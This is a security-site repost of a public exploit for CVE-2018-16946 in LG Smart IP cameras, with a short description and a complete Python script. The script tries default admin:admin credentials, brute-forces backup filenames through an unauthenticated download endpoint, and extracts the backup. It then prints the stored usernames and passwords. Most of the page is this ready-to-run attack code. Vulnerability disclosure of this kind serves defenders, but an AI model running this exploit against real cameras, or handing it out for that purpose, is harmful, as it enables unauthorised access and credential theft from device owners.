首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
LG Smart IP Camera 1508190 - Backup File Download
来源:vfocus.net 作者:EgeBalci 发布时间:2018-09-13  
# Exploit Title: LG Smart IP Camera 1508190 - Backup File Download
# Date: 2018-09-11
# Exploit Author: Ege Balci
# Vendor Homepage: https://www.lg.com
# Software version: 1310250 <= 1508190
# Model: LNB*/LND*/LNU*/LNV*
# CVE: CVE-2018-16946
 
# Description: smart network camera devices have broken access control. Attackers are able to
# download /updownload/t.report (aka Log & Report) files and download backup files (via download.php)
# without authenticating. These backup files contain user credentials and configuration information for
# the camera device. An attacker is able to discover the backup filename via reading the system logs or
# report data, or just by brute-forcing the backup filename pattern. It may be possible to authenticate
# to the admin account with the admin password.
 
# lg_smart_ip.py
 
#!/usr/bin/python3
 
import os
import sys
import sqlite3
import tarfile
import requests   
import datetime
import threading
 
if len(sys.argv) < 2:
    print("Usage:\n\t"+sys.argv[0]+" <TARGET-URL>")
    exit(0)
 
print("#==========================================================================#")
print("# Exploit Title: LG Smart IP Device Backup Download")
print("# Date: 09-11-2018")
print("# Exploit Author: Ege Balcı")
print("# Vendor Homepage: https://www.lg.com")
print("# Model: LNB*/LND*/LNU*/LNV*")
print("# CVE: CVE-2018-16946")
print("#==========================================================================#\n\n")
 
model_version_list = ["2219.0.0.1505220","2745.0.0.1508190","1954.0.0.1410150", "1030.0.0.1310250"]
 
# First try the default login creds...
headers = {'Authorization': 'Basic YWRtaW46YWRtaW4='}
default = requests.get(sys.argv[1]+"/httpapi?GetDeviceInformation", headers=headers)
if "Model:" in default.text:
    print("[+] Default password works  (admin:admin)")
    # exit(0)
 
 
def brute(model_version):
    date = datetime.datetime.now()
    u = (['\\','|','/','-'])
 
    for i in range(0,3650): # No need to go back futher these cameras didn't existed 10 years ago
        sys.stdout.flush()
        sys.stdout.write("\r[*] Bruteforing backup date...{0}".format(u[i%4]))
 
        log_date = date.strftime("%y")
        log_date += date.strftime("%m")
        log_date += date.strftime("%d")       
 
        url = "/download.php?file="
        backup_name = "backup_"
        backup_name += log_date
        backup_name += "_"+model_version+".config"
 
        
        ContentLength = requests.head(sys.argv[1]+url+backup_name,stream=True).headers["Content-Length"]
        if ContentLength != "":
            backup = requests.get(sys.argv[1]+url+backup_name)
            print("\n[+] Backup file found !")
            print("[+] "+backup_name+" -> "+str(len(backup.content))+"\n")
            backup_file = open(backup_name+".tar.gz","wb")
            backup_file.write(backup.content)
            backup_file.close()
            tar = tarfile.open(str(backup_name+".tar.gz"),mode="r:gz")
            for member in tar.getnames():
                # Print contents of every file
                print("[>] "+member)
                mem = open(member,"wb")
                mem.write(tar.extractfile(member).read())
            
            
            conn = sqlite3.connect('mipsca.db')
            c = conn.cursor()
            users = c.execute("SELECT * FROM User")
            print("#=============== SUCCESS ===============#")
            for u in users:
                print("\n[#] Username: "+u[0])
                print("[#] Password: "+u[1])
            os.system("rm mipsca.db ConfigInfo.txt "+ backup_name+".tar.gz")
            break
        date = (date-datetime.timedelta(days=1))
 
 
 
report = requests.get(sys.argv[1]+"/updownload/t.report",verify=False)
if report.status_code != 200:
    print("[-] Target device don't have report data :(")
    jobs = []
    for mv in model_version_list:
        t = threading.Thread(target=brute(mv))
        jobs.append(t)
 
    for j in jobs:
        j.start()
else:
    model_id = (((report.text.split("= "))[1]).split("\n"))[0]
    print("[+] Model ID: "+model_id)
    version = (((report.text.split("= "))[2]).split("\n"))[0]
    print("[+] Version: "+version)
    brute(model_id+"."+version)
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Yahoo! Messenger Webcam 8.1 Ac
·Apache 2.2.0 - 2.2.11 Remote e
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
·HT Editor File openning Stack
  相关文章
·Apple macOS 10.13.4 - Denial o
·InduSoft Web Studio 8.1 SP1 -
·Infiltrator Network Security S
·PDF Explorer 1.5.66.2 - Denial
·iCash 7.6.5 - Denial of Servic
·CirCarLife SCADA 4.3.0 - Crede
·Seagate Personal Cloud Informa
·PicaJet FX 2.6.5 - Denial of S
·RoboImport 1.2.0.72 - Denial o
·PixGPS 1.1.8 - Denial of Servi
·jiNa OCR Image to Text 1.0 - D
·InTouch Machine Edition 8.1 SP
  推荐广告
CopyRight © 2002-2018 VFocuS.Net All Rights Reserved